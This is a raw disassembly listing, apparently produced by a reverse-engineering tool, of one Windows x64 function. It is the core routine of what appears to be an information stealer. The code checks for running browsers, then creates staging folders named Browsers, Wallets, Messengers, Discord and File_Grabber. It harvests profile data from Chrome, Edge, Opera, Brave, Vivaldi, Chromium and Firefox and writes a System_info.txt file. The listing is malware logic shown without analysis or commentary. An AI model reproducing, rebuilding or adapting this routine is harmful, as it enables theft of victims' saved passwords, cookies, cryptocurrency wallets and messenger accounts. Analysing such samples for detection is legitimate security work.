Function at 0x1400422f8
Capabilities:
Create directory
Set current directory

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x478]
sub rsp, 0x550
mov qword [rbp + 0x90], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rsi
xor edx, edx
lea ebx, [rdx + 2]
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
or r15, 0xffffffffffffffff
cmp rax, r15
je 0x14004234a
mov rdx, rax
lea rcx, str.chrome.exe
call fcn.1400466c4
xor edx, edx
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
cmp rax, r15
je 0x140042368
mov rdx, rax
lea rcx, str.msedge.exe
call fcn.1400466c4
xor edx, edx
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
cmp rax, r15
je 0x140042386
mov rdx, rax
lea rcx, str.brave.exe
call fcn.1400466c4
xor edx, edx
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
cmp rax, r15
je 0x1400423a4
mov rdx, rax
lea rcx, str.browser.exe
call fcn.1400466c4
lea rcx, [rbp + 0xf8]
call fcn.140047038
mov qword [rbp - 0x38], 0xf
xor r14d, r14d
mov qword [rbp - 0x40], r14
mov byte [rbp - 0x50], r14b
cmp byte [rbp + 0xf8], r14b
jne 0x1400423d1
mov r8d, r14d
jmp 0x1400423e4
lea rax, [rbp + 0xf8]
mov r8, r15
inc r8
cmp byte [rax + r8], r14b
jne 0x1400423db
lea rdx, [rbp + 0xf8]
lea rcx, [rbp - 0x50]
call fcn.14000159c
nop
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], 0x10
cmovae rcx, qword [rbp - 0x50]
mov r8, qword [rbp - 0x40]
add r8, rcx
lea rdx, [rbp - 0x50]
cmp qword [rbp - 0x38], 0x10
cmovae rdx, qword [rbp - 0x50]
mov r13d, 7
mov qword [rbp - 0x18], r13
mov qword [rbp - 0x20], r14
mov word [rbp - 0x30], r14w
lea rcx, [rbp - 0x30]
call fcn.14001224c
nop
lea rcx, [rbp + 0x30]
call fcn.140046fa0
nop
lea rcx, [rbp + 0x30]
lea r12d, [r13 + 1]
cmp qword [rbp + 0x48], r12
cmovae rcx, qword [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea rcx, [rbp - 0x30]
cmp qword [rbp - 0x18], r12
cmovae rcx, qword [rbp - 0x30]
xor edx, edx
call qword [0x140070e48]
lea r8, [0x140059ee4]
lea rdx, [rbp + 0x30]
lea rcx, [rsp + 0x70]
call fcn.1400064b0
nop
lea r8, [rbp - 0x30]
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.14001461c
nop
cmp qword [rbp - 0x78], r12
jb 0x1400424a2
mov rcx, qword [rsp + 0x70]
call fcn.1400208dc
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x80], r14
mov word [rsp + 0x70], r14w
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], r12
cmovae rcx, qword [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
xor edx, edx
lea rcx, [0x14005c090]
call qword [0x140070e48]
lea r8, str.Browsers
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x70]
call fcn.1400064b0
nop
lea rcx, [rbp + 0x70]
cmp qword [rbp + 0x88], r12
cmovae rcx, qword [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea rax, [rsp + 0x70]
mov qword [rbp + 0x480], rax
lea rax, [rsp + 0x50]
mov qword [rbp + 0x488], rax
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x80], r14
mov word [rsp + 0x70], r14w
mov ebx, 6
mov r8d, ebx
lea rdx, [0x14005c0c0]
lea rcx, [rsp + 0x70]
call fcn.140001b58
nop
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x60], r14
mov word [rsp + 0x50], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006ebf0]
lea rcx, [rsp + 0x50]
call fcn.140001e28
nop
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r14
mov word [rsp + 0x30], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006ecb0]
lea rcx, [rsp + 0x30]
call fcn.140001e28
nop
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.14003b530
lea rax, [rsp + 0x50]
mov qword [rbp + 0x480], rax
lea rax, [rsp + 0x70]
mov qword [rbp + 0x488], rax
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x60], r14
mov word [rsp + 0x50], r14w
mov r8d, ebx
lea rdx, [0x14005c0d0]
lea rcx, [rsp + 0x50]
call fcn.140001b58
nop
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x80], r14
mov word [rsp + 0x70], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006edd0]
lea rcx, [rsp + 0x70]
call fcn.140001e28
nop
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r14
mov word [rsp + 0x30], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006ecb0]
lea rcx, [rsp + 0x30]
call fcn.140001e28
nop
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.14003aef8
lea rax, [rsp + 0x50]
mov qword [rbp + 0x480], rax
lea rax, [rsp + 0x70]
mov qword [rbp + 0x488], rax
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x60], r14
mov word [rsp + 0x50], r14w
mov r8d, ebx
lea rdx, [0x14005c0e0]
lea rcx, [rsp + 0x50]
call fcn.140001b58
nop
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x80], r14
mov word [rsp + 0x70], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006edb0]
lea rcx, [rsp + 0x70]
call fcn.140001e28
nop
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r14
mov word [rsp + 0x30], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006ecb0]
lea rcx, [rsp + 0x30]
call fcn.140001e28
nop
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.14003aae4
lea rax, [rsp + 0x50]
mov qword [rbp + 0x480], rax
lea rax, [rsp + 0x70]
mov qword [rbp + 0x488], rax
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x60], r14
mov word [rsp + 0x50], r14w
lea esi, [rbx - 1]
mov r8d, esi
lea rdx, str.Opera
lea rcx, [rsp + 0x50]
call fcn.140001b58
nop
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x80], r14
mov word [rsp + 0x70], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006ee30]
lea rcx, [rsp + 0x70]
call fcn.140001e28
nop
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r14
mov word [rsp + 0x30], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006ed70]
lea rcx, [rsp + 0x30]
call fcn.140001e28
nop
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.14003b530
lea rax, [rsp + 0x50]
mov qword [rbp + 0x480], rax
lea rax, [rsp + 0x70]
mov qword [rbp + 0x488], rax
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x60], r14
mov word [rsp + 0x50], r14w
lea ebx, [rsi - 1]
mov r8d, ebx
lea rdx, [0x14005c100]
lea rcx, [rsp + 0x50]
call fcn.140001b58
nop
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x80], r14
mov word [rsp + 0x70], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006ed30]
lea rcx, [rsp + 0x70]
call fcn.140001e28
nop
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r14
mov word [rsp + 0x30], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006ed50]
lea rcx, [rsp + 0x30]
call fcn.140001e28
nop
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.14003b530
lea rax, [rsp + 0x50]
mov qword [rbp + 0x480], rax
lea rax, [rsp + 0x70]
mov qword [rbp + 0x488], rax
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x60], r14
mov word [rsp + 0x50], r14w
mov r8d, ebx
lea rdx, [0x14005c110]
lea rcx, [rsp + 0x50]
call fcn.140001b58
nop
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x80], r14
mov word [rsp + 0x70], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006ec30]
lea rcx, [rsp + 0x70]
call fcn.140001e28
nop
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r14
mov word [rsp + 0x30], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006ed50]
lea rcx, [rsp + 0x30]
call fcn.140001e28
nop
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.14003aef8
lea rax, [rsp + 0x50]
mov qword [rbp + 0x480], rax
lea rax, [rsp + 0x70]
mov qword [rbp + 0x488], rax
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x60], r14
mov word [rsp + 0x50], r14w
mov r8d, ebx
lea rdx, [0x14005c120]
lea rcx, [rsp + 0x50]
call fcn.140001b58
nop
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x80], r14
mov word [rsp + 0x70], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006ec50]
lea rcx, [rsp + 0x70]
call fcn.140001e28
nop
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r14
mov word [rsp + 0x30], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006ed50]
lea rcx, [rsp + 0x30]
call fcn.140001e28
nop
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.14003aae4
lea rax, [rsp + 0x50]
mov qword [rbp + 0x480], rax
lea rax, [rsp + 0x70]
mov qword [rbp + 0x488], rax
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x60], r14
mov word [rsp + 0x50], r14w
mov r8, r12
lea rdx, [0x14005c130]
lea rcx, [rsp + 0x50]
call fcn.140001b58
nop
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x80], r14
mov word [rsp + 0x70], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006edf0]
lea rcx, [rsp + 0x70]
call fcn.140001e28
nop
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r14
mov word [rsp + 0x30], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006ec70]
lea rcx, [rsp + 0x30]
call fcn.140001e28
nop
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.14003b530
lea rax, [rsp + 0x50]
mov qword [rbp + 0x480], rax
lea rax, [rsp + 0x70]
mov qword [rbp + 0x488], rax
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x60], r14
mov word [rsp + 0x50], r14w
mov r8, r12
lea rdx, str.Chromium
lea rcx, [rsp + 0x50]
call fcn.140001b58
nop
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x80], r14
mov word [rsp + 0x70], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006ed90]
lea rcx, [rsp + 0x70]
call fcn.140001e28
nop
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r14
mov word [rsp + 0x30], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006ec70]
lea rcx, [rsp + 0x30]
call fcn.140001e28
nop
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.14003aef8
lea rax, [rsp + 0x50]
mov qword [rbp + 0x480], rax
lea rax, [rsp + 0x70]
mov qword [rbp + 0x488], rax
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x60], r14
mov word [rsp + 0x50], r14w
mov r8d, esi
lea rdx, [0x14005c160]
lea rcx, [rsp + 0x50]
call fcn.140001b58
nop
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x80], r14
mov word [rsp + 0x70], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006ec90]
lea rcx, [rsp + 0x70]
call fcn.140001e28
nop
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r14
mov word [rsp + 0x30], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006ee10]
lea rcx, [rsp + 0x30]
call fcn.140001e28
nop
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.14003b530
lea rax, [rsp + 0x50]
mov qword [rbp + 0x480], rax
lea rax, [rsp + 0x70]
mov qword [rbp + 0x488], rax
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x60], r14
mov word [rsp + 0x50], r14w
mov r8d, esi
lea rdx, str.Brave
lea rcx, [rsp + 0x50]
call fcn.140001b58
nop
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x80], r14
mov word [rsp + 0x70], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006ecd0]
lea rcx, [rsp + 0x70]
call fcn.140001e28
nop
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r14
mov word [rsp + 0x30], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006ee10]
lea rcx, [rsp + 0x30]
call fcn.140001e28
nop
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.14003aef8
lea rax, [rsp + 0x50]
mov qword [rbp + 0x480], rax
lea rax, [rsp + 0x70]
mov qword [rbp + 0x488], rax
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x60], r14
mov word [rsp + 0x50], r14w
mov r8, r13
lea rdx, str.Vivaldi
lea rcx, [rsp + 0x50]
call fcn.140001b58
nop
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x80], r14
mov word [rsp + 0x70], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006ecf0]
lea rcx, [rsp + 0x70]
call fcn.140001e28
nop
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r14
mov word [rsp + 0x30], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006ed10]
lea rcx, [rsp + 0x30]
call fcn.140001e28
nop
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.14003b530
lea rax, [rsp + 0x70]
mov qword [rbp + 0x480], rax
lea rax, [rsp + 0x50]
mov qword [rbp + 0x488], rax
lea rdx, str.360_shit
lea rcx, [rsp + 0x70]
call fcn.1400012d8
mov rbx, rax
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x60], r14
mov word [rsp + 0x50], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006ee50]
lea rcx, [rsp + 0x50]
call fcn.140001e28
nop
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r14
mov word [rsp + 0x30], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006ed70]
lea rcx, [rsp + 0x30]
call fcn.140001e28
nop
mov r8, rbx
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.14003b530
lea rax, [rsp + 0x50]
mov qword [rbp + 0x480], rax
lea rdx, [0x14005c1a8]
lea rcx, [rsp + 0x50]
call fcn.1400012d8
mov rbx, rax
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r14
mov word [rsp + 0x30], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006ec10]
lea rcx, [rsp + 0x30]
call fcn.140001e28
nop
mov rdx, rbx
lea rcx, [rsp + 0x30]
call fcn.14003a8b8
lea rax, [rsp + 0x50]
mov qword [rbp + 0x480], rax
lea rdx, [0x14005c1b8]
lea rcx, [rsp + 0x50]
call fcn.1400012d8
mov rbx, rax
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r14
mov word [rsp + 0x30], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006edb0]
lea rcx, [rsp + 0x30]
call fcn.140001e28
nop
mov rdx, rbx
lea rcx, [rsp + 0x30]
call fcn.14003a6a0
lea rax, [rsp + 0x50]
mov qword [rbp + 0x480], rax
lea rdx, [0x14005c1c8]
lea rcx, [rsp + 0x50]
call fcn.1400012d8
mov rbx, rax
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r14
mov word [rsp + 0x30], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [0x14006ec50]
lea rcx, [rsp + 0x30]
call fcn.140001e28
nop
mov rdx, rbx
lea rcx, [rsp + 0x30]
call fcn.14003a6a0
xor edx, edx
lea rcx, [0x14005c1d8]
call qword [0x140070e48]
lea r8, str.Firefox
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x50]
call fcn.1400064b0
nop
lea rcx, [rbp + 0x50]
cmp qword [rbp + 0x68], r12
cmovae rcx, qword [rbp + 0x50]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r14
mov word [rsp + 0x30], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [rbp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.140001e28
lea rcx, [rsp + 0x30]
call fcn.14003a184
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], r12
cmovae rcx, qword [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
xor edx, edx
lea rcx, [0x14005c200]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea r8, str.Wallets
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x10]
call fcn.1400064b0
nop
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], r12
cmovae rcx, qword [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
call fcn.140047490
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r14
mov word [rsp + 0x30], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [rbp - 0x10]
lea rcx, [rsp + 0x30]
call fcn.140001e28
lea rcx, [rsp + 0x30]
call fcn.1400487e0
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r14
mov word [rsp + 0x30], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [rbp - 0x10]
lea rcx, [rsp + 0x30]
call fcn.140001e28
lea rcx, [rsp + 0x30]
call fcn.140048b3c
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r14
mov word [rsp + 0x30], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [rbp - 0x10]
lea rcx, [rsp + 0x30]
call fcn.140001e28
lea rcx, [rsp + 0x30]
call fcn.140048604
call fcn.14004192c
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], r12
cmovae rcx, qword [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
xor edx, edx
lea rcx, [0x14005c228]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea r8, str.Messengers
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x10]
call fcn.1400064b0
nop
lea rcx, [rbp + 0x10]
cmp qword [rbp + 0x28], r12
cmovae rcx, qword [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], r13
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.140001c78
mov r9, r15
xor r8d, r8d
lea rdx, [rbp + 0x10]
lea rcx, [rsp + 0x30]
call fcn.140001e28
lea rcx, [rsp + 0x30]
call fcn.1400416a0
lea rcx, [rbp + 0x10]
call fcn.14000134c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea r8, [0x14005c258]
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0xd8]
call fcn.1400064b0
nop
xor edx, edx
lea rcx, str.Discord
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rdx, [rbp + 0xd8]
lea rcx, [rsp + 0x30]
call fcn.140014e70
mov rcx, rax
call fcn.140046454
lea rcx, [rbp - 0x70]
call fcn.14000134c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x30]
call fcn.140014e70
mov rcx, rax
call fcn.1400401dc
lea rdx, str.System_info.txt
lea rcx, [rsp + 0x30]
call fcn.1400011e8
nop
lea rcx, [rsp + 0x30]
call fcn.140040fd8
nop
lea rcx, [rsp + 0x30]
call fcn.140001298
call fcn.140040a3c
call fcn.1400409dc
call fcn.14004097c
call fcn.14004091c
call fcn.14004085c
call fcn.1400408bc
call fcn.14004079c
mov ecx, 0x1000
call qword [sym.imp.USER32.dll_GetSystemMetrics]
test eax, eax
je 0x1400430dc
call fcn.14004059c
lea rcx, [rbp + 0x130]
call fcn.14001566c
nop
lea rcx, [rbp + 0x130]
call fcn.140016f0c
mov rcx, rax
call fcn.140014f84
lea rcx, [rbp + 0x130]
call fcn.140015734
nop
lea rcx, [rbp + 0x130]
call fcn.14000327c
xor edx, edx
lea rcx, [0x14005c388]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea r8, str.File_Grabber
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x98]
call fcn.1400064b0
nop
lea rcx, [rbp + 0x240]
call fcn.140040f8c
lea rcx, [rbp + 0x98]
call fcn.14000134c
mov rdx, rax
lea rcx, [rbp + 0x240]
call fcn.140040b5c
lea rcx, [rbp + 0x30]
call fcn.14000134c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea rdx, [rbp + 0x480]
lea rcx, [rbp - 0x70]
call fcn.1400039dc
mov rbx, rax
lea rdx, [rbp + 0x488]
lea rcx, [rbp - 0x70]
call fcn.1400039c8
mov r8, qword [rbx]
mov rdx, qword [rax]
lea rcx, [rbp + 0xb8]
call fcn.140006b44
nop
lea rcx, [rbp + 0xb8]
call fcn.1400012c8
mov rdx, rax
lea rcx, [rsp + 0x30]
call fcn.1400011e8
mov rcx, rax
call fcn.140048f84
call fcn.14003b99c
nop
lea rcx, [rbp + 0xb8]
call fcn.140001298
nop
lea rcx, [rbp + 0x98]
call fcn.14000131c
nop
lea rcx, [rbp + 0xd8]
call fcn.14000131c
nop
lea rcx, [rbp + 0x10]
call fcn.14000131c
nop
lea rcx, [rbp - 0x10]
call fcn.14000131c
nop
lea rcx, [rbp + 0x50]
call fcn.14000131c
nop
lea rcx, [rbp + 0x70]
call fcn.14000131c
nop
lea rcx, [rbp - 0x70]
call fcn.14000131c
nop
lea rcx, [rbp + 0x30]
call fcn.14000131c
nop
lea rcx, [rbp - 0x30]
call fcn.14000131c
nop
lea rcx, [rbp - 0x50]
call fcn.140001298
xor eax, eax
lea r11, [rsp + 0x550]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret